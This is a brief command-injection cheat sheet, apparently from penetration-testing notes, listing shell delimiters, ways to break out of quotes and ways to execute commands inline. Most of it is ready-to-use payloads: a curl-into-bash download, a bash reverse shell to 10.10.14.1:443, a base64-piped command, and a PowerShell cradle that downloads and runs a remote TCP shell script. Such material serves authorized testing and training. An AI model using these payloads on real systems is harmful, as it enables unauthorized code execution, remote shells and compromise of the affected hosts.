🐚 Command Injection

When you find an input, imagine the backend. e.g. backend ssh -i id_rsa user@host
→ inject user@host; curl http://IP/shell.sh|bash;

Delimiters

; · && · || · & · | · ${IFS} · ${VARIABLE} · $(command)

Breaking out of quotes

ping -c 1 "$input"   →   ping -c 1 ""; id; #"
ping -c 1 '$input'   →   ping -c 1 ''; id; #'

Restricted environments

echo bHMgLWwgLwo= | base64 -d | sh       # run a base64-encoded command
some_command $(whoami)                   # inline substitution

Inline Execution

Linux

bash -c "some_command"
 
bash -c "bash -i >& /dev/tcp/10.10.14.1/443 0>&1"

Windows

cmd.exe /c powershell -c "some_command"
 
cmd.exe /c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.41/Invoke-PowerShellTcp.ps1')

Catch the shell: Shell-stabilization. Serve payloads: file-transfer.